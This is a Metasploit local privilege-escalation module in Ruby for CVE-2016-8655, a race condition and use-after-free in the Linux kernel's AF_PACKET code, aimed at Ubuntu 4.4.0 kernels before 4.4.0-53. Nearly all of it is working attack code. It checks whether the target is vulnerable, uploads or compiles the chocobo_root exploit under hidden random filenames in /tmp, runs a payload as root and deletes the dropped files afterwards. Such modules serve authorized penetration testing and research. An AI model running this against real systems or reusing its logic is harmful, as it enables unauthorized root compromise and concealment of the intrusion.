This Metasploit module exploits a race condition and use-after-free in the packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel to execute code as root (CVE-2016-8655). The bug was initially introduced in 2011 and patched in 2016 in version 4.4.0-53.74, potentially affecting a large number of kernels; however this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels 4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as Linux Mint. The target system must have unprivileged user namespaces enabled and two or more CPU cores. Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation may crash the kernel. This Metasploit module has been tested successfully on Linux Mint 17.3 (x86_64); Linux Mint 18 (x86_64); and Ubuntu 16.04.2 (x86_64) with kernel versions 4.4.0-45-generic and 4.4.0-51-generic.
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
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class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'AF_PACKET chocobo_root Privilege Escalation',
'Description' => %q{
This module exploits a race condition and use-after-free in the
packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in
the Linux kernel to execute code as root (CVE-2016-8655).
The bug was initially introduced in 2011 and patched in 2016 in version
4.4.0-53.74, potentially affecting a large number of kernels; however
this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as
Linux Mint.
The target system must have unprivileged user namespaces enabled and
two or more CPU cores.
Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
may crash the kernel.
This module has been tested successfully on Linux Mint 17.3 (x86_64);
Linux Mint 18 (x86_64); and Ubuntu 16.04.2 (x86_64) with kernel
versions 4.4.0-45-generic and 4.4.0-51-generic.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rebel', # Discovery and chocobo_root.c exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Aug 12 2016',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'AKA', 'chocobo_root.c' ],
[ 'EDB', '40871' ],
[ 'CVE', '2016-8655' ],
[ 'BID', '94692' ],
[ 'URL', 'http://seclists.org/oss-sec/2016/q4/607' ],
[ 'URL', 'http://seclists.org/oss-sec/2016/q4/att-621/chocobo_root_c.bin' ],
[ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2016-8655/chocobo_root.c' ],
[ 'URL', 'https://bitbucket.org/externalist/1day_exploits/src/master/CVE-2016-8655/CVE-2016-8655_chocobo_root_commented.c' ],
[ 'URL', 'https://usn.ubuntu.com/3151-1/' ],
[ 'URL', 'https://www.securitytracker.com/id/1037403' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c' ]
],
'DefaultTarget' => 0))
register_options [
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '600' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
]
end
def timeout
datastore['TIMEOUT'].to_i
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
end
def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end
def upload_and_compile(path, data)
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c -lpthread"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
rm_f "#{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
cmd_exec "chmod +x #{path}"
end
def exploit_data(file)
path = ::File.join Msf::Config.data_directory, 'exploits', 'CVE-2016-8655', file
fd = ::File.open path, 'rb'
data = fd.read fd.stat.size
fd.close
data
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
version = kernel_release
unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic/
vprint_error "Linux kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Linux kernel version #{version} is vulnerable"
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
cores = get_cpu_info[:cores].to_i
min_required_cores = 2
unless cores >= min_required_cores
vprint_error "System has less than #{min_required_cores} CPU cores"
return CheckCode::Safe
end
vprint_good "System has #{cores} CPU cores"
unless userns_enabled?
vprint_error 'Unprivileged user namespaces are not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged user namespaces are permitted'
CheckCode::Appears
end
def exploit
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload exploit executable
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, exploit_data('chocobo_root.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('chocobo_root')
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
print_status "Launching exploit (Timeout: #{timeout})..."
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
output.each_line { |line| vprint_status line.chomp }
print_status "Cleaning up #{payload_path} and #{executable_path}.."
rm_f executable_path
rm_f payload_path
end
end